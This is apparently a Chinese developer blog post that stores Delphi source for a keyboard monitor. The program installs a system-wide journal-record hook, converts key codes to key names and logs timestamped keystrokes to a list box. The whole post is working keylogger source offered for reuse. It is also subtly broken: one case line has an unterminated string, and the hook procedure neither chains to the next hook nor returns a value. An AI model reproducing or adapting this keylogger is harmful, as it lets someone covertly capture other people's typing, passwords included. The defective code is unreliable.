要用到的“键盘扫描代码”保存先。

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,

StdCtrls, ExtCtrls;

type

TForm1 = class(TForm)

ListBox1: TListBox;

Button1: TButton;

Button2: TButton;

procedure FormCreate(Sender: TObject);

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

private

function Keyhookresult(lP: integer; wP: integer): pchar;

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

hookkey: string;

hooktimes: word;

hHook: integer;

implementation

{$R *.DFM}

function TForm1.Keyhookresult(lP: integer; wP: integer): pchar;

begin

result := '[Print Screen]';

case lp of

10688: result := '`';

561: Result := '1';

818: result := '2';

1075: result := '3';

1332: result := '4';

1589: result := '5';

1846: result := '6';

2103: result := '7';

2360: result := '8';

2617: result := '9';

2864: result := '0';

3261: result := '-';

3515: result := '=';

4177: result := 'Q';

4439: result := 'W';

4677: result := 'E';

4946: result := 'R';

5204: result := 'T';

5465: result := 'Y';

5717: result := 'U';

5961: result := 'I';

6223: result := 'O';

6480: result := 'P';

6875: result := '[';

7133: result := ']';

11228: result := ';

7745: result := 'A';

8019: result := 'S';

8260: result := 'D';

8518: result := 'F';

8775: result := 'G';

9032: result := 'H';

9290: result := 'J';

9547: result := 'K';

9804: result := 'L';

10170: result := ';';

10462: result := '''';

11354: result := 'Z';

11608: result := 'X';

11843: result := 'C';

12118: result := 'V';

12354: result := 'B';

12622: result := 'N';

12877: result := 'M';

13244: result := ',';

13502: result := '.';

13759: result := '/';

13840: result := '[Right-Shift]';

14624: result := '[Space]';

283: result := '[Esc]';

15216: result := '[F1]';

15473: result := '[F2]';

15730: result := '[F3]';

15987: result := '[F4]';

16244: result := '[F5]';

16501: result := '[F6]';

16758: result := '[F7]';

17015: result := '[F8]';

17272: result := '[F9]';

17529: result := '[F10]';

22394: result := '[F11]';

22651: result := '[F12]';

10768: Result := '[Left-Shift]';

14868: result := '[CapsLock]';

3592: result := '[Backspace]';

3849: result := '[Tab]';

7441:

if wp > 30000 then

result := '[Right-Ctrl]'

else

result := '[Left-Ctrl]';

13679: result := '[Num /]';

17808: result := '[NumLock]';

300: result := '[Print Screen]';

18065: result := '[Scroll Lock]';

17683: result := '[Pause]';

21088: result := '[Num0]';

21358: result := '[Num.]';

20321: result := '[Num1]';

20578: result := '[Num2]';

20835: result := '[Num3]';

19300: result := '[Num4]';

19557: result := '[Num5]';

19814: result := '[Num6]';

18279: result := '[Num7]';

18536: result := '[Num8]';

18793: result := '[Num9]';

19468: result := '[*5*]';

14186: result := '[Num *]';

19053: result := '[Num -]';

20075: result := '[Num +]';

21037: result := '[Insert]';

21294: result := '[Delete]';

18212: result := '[Home]';

20259: result := '[End]';

18721: result := '[PageUp]';

20770: result := '[PageDown]';

18470: result := '[UP]';

20520: result := '[DOWN]';

19237: result := '[LEFT]';

19751: result := '[RIGHT]';

7181: result := '[Enter]';

end;

end;

function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;

begin

if (peventmsg(lparam)^.message = WM_KEYDOWN) then

hookkey := hookkey+ Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH);

if length(hookkey) > 55 then

begin

Form1.ListBox1.Items.Add(hookkey);

hookkey := TimeToStr(now) + ' ';

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

hooktimes := 0;

hHook := 0;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

inc(hooktimes);

if hooktimes = 1 then

begin

hookkey := TimeToStr(now) + ' ';

hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);

MessageBox(0, '键盘监视启动', '信息', MB_ICONINFORMATION + MB_OK);

end;

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

UnHookWindowsHookEx(hHook);

hHook := 0;

if hooktimes <> 0 then

begin

MessageBox(0, '键盘监视关闭', '信息', MB_ICONINFORMATION + MB_OK);

end;

hooktimes := 0;

end;

end 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值